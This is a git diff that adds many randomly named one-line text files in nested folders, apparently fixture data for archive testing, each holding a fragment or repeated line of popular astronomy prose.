diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/iuoztqjmrbyshvhmkz.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/iuoztqjmrbyshvhmkz.txt
new file mode 100644
index 0000000..6d98214
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/iuoztqjmrbyshvhmkz.txt
@@ -0,0 +1 @@
+Something like a dozen space vehicles from the Soviet Union and United States
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/jxkpylcehswvcydldwvf.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/jxkpylcehswvcydldwvf.txt
new file mode 100644
index 0000000..fd18998
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/jxkpylcehswvcydldwvf.txt
@@ -0,0 +1 @@
+Shapley had in 1915 the courage to propose that the solar system was in theoutskirts and not near the core of our galaxy. Herschel had been misled because of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/laebbqxjtmaavildwv.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/laebbqxjtmaavildwv.txt
new file mode 100644
index 0000000..d3e930e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/laebbqxjtmaavildwv.txt
@@ -0,0 +1 @@
+are polluted with noxious molecules. We do not understand the long-term effects of our
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/legisjiaxwptfjbpqjdmiln.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/legisjiaxwptfjbpqjdmiln.txt
new file mode 100644
index 0000000..17cefa3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/legisjiaxwptfjbpqjdmiln.txt
@@ -0,0 +1 @@
+for the Advancement of Science, and as President of the Planetology Section of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/lhhpwqyhxtzudsgrlv.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/lhhpwqyhxtzudsgrlv.txt
new file mode 100644
index 0000000..6483b71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/lhhpwqyhxtzudsgrlv.txt
@@ -0,0 +1 @@
+as we know, in the solar system, and balmy equatorial summer afternoons. It is a far more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/nbsyfcitukgbyogrulg.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/nbsyfcitukgbyogrulg.txt
new file mode 100644
index 0000000..dba7759
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/nbsyfcitukgbyogrulg.txt
@@ -0,0 +1 @@
+unknown territory, off-limits to my wanderings. It could have been Mars for all I knew.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/nqzqlgmnayacjobsyltfk.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/nqzqlgmnayacjobsyltfk.txt
new file mode 100644
index 0000000..29d26f6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/nqzqlgmnayacjobsyltfk.txt
@@ -0,0 +1 @@
+the lunar surface and imagines the continents and oceans of our planet to produce some
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/nxqwybrywvcjoujezh.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/nxqwybrywvcjoujezh.txt
new file mode 100644
index 0000000..0f4b1fd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/nxqwybrywvcjoujezh.txt
@@ -0,0 +1 @@
+seen.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/opxkviwhkvx.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/opxkviwhkvx.txt
new file mode 100644
index 0000000..ad52390
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/opxkviwhkvx.txt
@@ -0,0 +1 @@
+a token of a star in extremis. Near the central star there may be a retinue of dead worlds, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/pbzgldulorgpswafmyodem.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/pbzgldulorgpswafmyodem.txt
new file mode 100644
index 0000000..c0aa7c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/pbzgldulorgpswafmyodem.txt
@@ -0,0 +1 @@
+Danno-ura. For centuries after, people imagined that they could discern ghostly samurai
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/qmqssyawjpjaobgjkxvgsjca.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/qmqssyawjpjaobgjkxvgsjca.txt
new file mode 100644
index 0000000..94ecc4f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/qmqssyawjpjaobgjkxvgsjca.txt
@@ -0,0 +1 @@
+happens. The beam of light, which has until now been heading straight up into the sky, is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/qpnaprymimkmw.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/qpnaprymimkmw.txt
new file mode 100644
index 0000000..f004184
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/qpnaprymimkmw.txt
@@ -0,0 +1 @@
+same cloud complex, some 5 billion years ago. But we do not know which stars they are.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/visewzyszp.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/visewzyszp.txt
new file mode 100644
index 0000000..0287193
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/visewzyszp.txt
@@ -0,0 +1 @@
+In recent years, infrared observations have revealed a number of likely preplanetary
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/xzhhbmcyfakol.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/xzhhbmcyfakol.txt
new file mode 100644
index 0000000..0d35b0d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/xzhhbmcyfakol.txt
@@ -0,0 +1 @@
+imagine pictures. In the northern sky, for example, there is a pattern, or constellation, that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/yhyszdnkdboythworwdlbd.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/yhyszdnkdboythworwdlbd.txt
new file mode 100644
index 0000000..642deaa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/yhyszdnkdboythworwdlbd.txt
@@ -0,0 +1 @@
+pattern of evolutionary causality is a web of astonishing complexity; the incompleteness of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/yvvpwpsvg.txt b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/yvvpwpsvg.txt
new file mode 100644
index 0000000..ea4feb7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_guneyklias/folder_tfqhywewrt/folder_wpkummuahn/yvvpwpsvg.txt
@@ -0,0 +1 @@
+adorn’d this Spot only, and has left all those Worlds bare and destitute of Inhabitants, who might adore and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_avnmzhvioajhvqte.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_avnmzhvioajhvqte.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_avnmzhvioajhvqte.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_awvfgsrnvwbzdfwlkriiysy.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_awvfgsrnvwbzdfwlkriiysy.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_awvfgsrnvwbzdfwlkriiysy.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_bqpwwxkcym.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_bqpwwxkcym.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_bqpwwxkcym.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_buiywubwthlbcjh.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_buiywubwthlbcjh.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_buiywubwthlbcjh.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_dnrjozncfzbytfwzbnv.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_dnrjozncfzbytfwzbnv.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_dnrjozncfzbytfwzbnv.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_eahzhrojowiiqprquy.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_eahzhrojowiiqprquy.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_eahzhrojowiiqprquy.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_glpxtabhcosjuvhdlgku.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_glpxtabhcosjuvhdlgku.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_glpxtabhcosjuvhdlgku.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_hlyncsedfnzqkuahe.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_hlyncsedfnzqkuahe.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_hlyncsedfnzqkuahe.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_irigozmugmmtyzxmbrl.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_irigozmugmmtyzxmbrl.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_irigozmugmmtyzxmbrl.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_jzpckhpdjwzyre.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_jzpckhpdjwzyre.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_jzpckhpdjwzyre.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_kpklikdmrz.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_kpklikdmrz.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_kpklikdmrz.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_ousnxxvn.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_ousnxxvn.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_ousnxxvn.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_pukwgjzqcvmetqocl.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_pukwgjzqcvmetqocl.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_pukwgjzqcvmetqocl.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_qobvavqjtcvakvqiphdpcybh.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_qobvavqjtcvakvqiphdpcybh.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_qobvavqjtcvakvqiphdpcybh.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_qrivxosxfqrnu.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_qrivxosxfqrnu.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_qrivxosxfqrnu.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_txakzszctvyrclvm.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_txakzszctvyrclvm.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_txakzszctvyrclvm.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_uotawsrhywnzhwitizknyegb.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_uotawsrhywnzhwitizknyegb.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_uotawsrhywnzhwitizknyegb.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_uschakhdskbgnqntmzardn.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_uschakhdskbgnqntmzardn.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_uschakhdskbgnqntmzardn.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_vhgkjkzgqzpfugsjjh.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_vhgkjkzgqzpfugsjjh.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_vhgkjkzgqzpfugsjjh.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_xfvycrerelwy.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_xfvycrerelwy.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_xfvycrerelwy.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_zeuusgyvv.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_zeuusgyvv.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_zeuusgyvv.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/file_zkjlmbyhazmfzzpnhvfatbbp.txt b/big_zip/big-zip-files/folder_gyemxikwvn/file_zkjlmbyhazmfzzpnhvfatbbp.txt
new file mode 100644
index 0000000..b9f4621
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/file_zkjlmbyhazmfzzpnhvfatbbp.txt
@@ -0,0 +1 @@
+implications your alternative suggestions have for the number of advanced civilizations in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/adgfqqgasmg.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/adgfqqgasmg.txt
new file mode 100644
index 0000000..a128061
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/adgfqqgasmg.txt
@@ -0,0 +1 @@
+unaccountably disappeared from a closed room and then distressingly materialized from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/bqmjujeht.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/bqmjujeht.txt
new file mode 100644
index 0000000..53af651
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/bqmjujeht.txt
@@ -0,0 +1 @@
+preferred the hard truth to his dearest illusions.’Johannes Kepler believed that there would one day be ‘celestial ships with sails
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/cqliayroes.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/cqliayroes.txt
new file mode 100644
index 0000000..50733fa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/cqliayroes.txt
@@ -0,0 +1 @@
+traversing the immense distances even to Proxima Centauri in convenient periods of time?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/ddwqcftgbfhkhntgrmx.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/ddwqcftgbfhkhntgrmx.txt
new file mode 100644
index 0000000..24be762
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/ddwqcftgbfhkhntgrmx.txt
@@ -0,0 +1 @@
+Substituting for V and F in Equation (2) from Equations (3) and (4), we find
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/eosnqievgwvwl.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/eosnqievgwvwl.txt
new file mode 100644
index 0000000..961c435
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/eosnqievgwvwl.txt
@@ -0,0 +1 @@
+sections. Why? Because, on the scale of the very small, matter exhibits some irreducible
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_bebdvgmbkfqaydhk.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_bebdvgmbkfqaydhk.txt
new file mode 100644
index 0000000..b710a9b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_bebdvgmbkfqaydhk.txt
@@ -0,0 +1 @@
+worse, to one small part of it. But up there in the immensity of the Cosmos, an inescapable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_eurferowgmfpdji.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_eurferowgmfpdji.txt
new file mode 100644
index 0000000..b710a9b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_eurferowgmfpdji.txt
@@ -0,0 +1 @@
+worse, to one small part of it. But up there in the immensity of the Cosmos, an inescapable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_eyuarmsqepk.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_eyuarmsqepk.txt
new file mode 100644
index 0000000..b710a9b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_eyuarmsqepk.txt
@@ -0,0 +1 @@
+worse, to one small part of it. But up there in the immensity of the Cosmos, an inescapable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_fvmahcpkxvqrygytbti.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_fvmahcpkxvqrygytbti.txt
new file mode 100644
index 0000000..b710a9b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_fvmahcpkxvqrygytbti.txt
@@ -0,0 +1 @@
+worse, to one small part of it. But up there in the immensity of the Cosmos, an inescapable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_fybznyijlap.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_fybznyijlap.txt
new file mode 100644
index 0000000..b710a9b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_fybznyijlap.txt
@@ -0,0 +1 @@
+worse, to one small part of it. But up there in the immensity of the Cosmos, an inescapable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_goiuxghcrutmfl.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_goiuxghcrutmfl.txt
new file mode 100644
index 0000000..b710a9b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_goiuxghcrutmfl.txt
@@ -0,0 +1 @@
+worse, to one small part of it. But up there in the immensity of the Cosmos, an inescapable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_iegfdaajntfwhocbgy.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_iegfdaajntfwhocbgy.txt
new file mode 100644
index 0000000..b710a9b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_iegfdaajntfwhocbgy.txt
@@ -0,0 +1 @@
+worse, to one small part of it. But up there in the immensity of the Cosmos, an inescapable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_pkdqsxlhk.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_pkdqsxlhk.txt
new file mode 100644
index 0000000..b710a9b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_pkdqsxlhk.txt
@@ -0,0 +1 @@
+worse, to one small part of it. But up there in the immensity of the Cosmos, an inescapable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_pwgfargsnwvwj.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_pwgfargsnwvwj.txt
new file mode 100644
index 0000000..b710a9b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_pwgfargsnwvwj.txt
@@ -0,0 +1 @@
+worse, to one small part of it. But up there in the immensity of the Cosmos, an inescapable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_sgznqcpkqhb.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_sgznqcpkqhb.txt
new file mode 100644
index 0000000..b710a9b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_sgznqcpkqhb.txt
@@ -0,0 +1 @@
+worse, to one small part of it. But up there in the immensity of the Cosmos, an inescapable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_svpkwmamkprdtkqab.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_svpkwmamkprdtkqab.txt
new file mode 100644
index 0000000..b710a9b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_svpkwmamkprdtkqab.txt
@@ -0,0 +1 @@
+worse, to one small part of it. But up there in the immensity of the Cosmos, an inescapable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_uooinlohohdgwcnsr.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_uooinlohohdgwcnsr.txt
new file mode 100644
index 0000000..b710a9b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_uooinlohohdgwcnsr.txt
@@ -0,0 +1 @@
+worse, to one small part of it. But up there in the immensity of the Cosmos, an inescapable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_wostxqxoivfandid.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_wostxqxoivfandid.txt
new file mode 100644
index 0000000..b710a9b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_wostxqxoivfandid.txt
@@ -0,0 +1 @@
+worse, to one small part of it. But up there in the immensity of the Cosmos, an inescapable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_xktlnrtx.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_xktlnrtx.txt
new file mode 100644
index 0000000..b710a9b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/file_xktlnrtx.txt
@@ -0,0 +1 @@
+worse, to one small part of it. But up there in the immensity of the Cosmos, an inescapable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/irsgukar.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/irsgukar.txt
new file mode 100644
index 0000000..b2c8334
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/irsgukar.txt
@@ -0,0 +1 @@
+hydrocarbons or carbohydrates present are there in less than 0.1 parts per million. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/iushhxugyl.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/iushhxugyl.txt
new file mode 100644
index 0000000..047634c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/iushhxugyl.txt
@@ -0,0 +1 @@
+endangered species. Every one of us is, in the cosmic perspective, precious. If a human
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/lkodmcymdprgrhhcyswc.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/lkodmcymdprgrhhcyswc.txt
new file mode 100644
index 0000000..1a9d968
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/lkodmcymdprgrhhcyswc.txt
@@ -0,0 +1 @@
+microscopic displacements of position on photographic plates exposed at the telescope over
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/lyrfvhdvqgjurrkqfdvzifp.txt b/big_zip/big-zip-files/folder_gyemxikwvn/folder_ilwiloohcr/lyrfvhdvqgjurrkqfdvzifp.txt
new file mode 100644
index 0000000..107f739
--- /dev/null
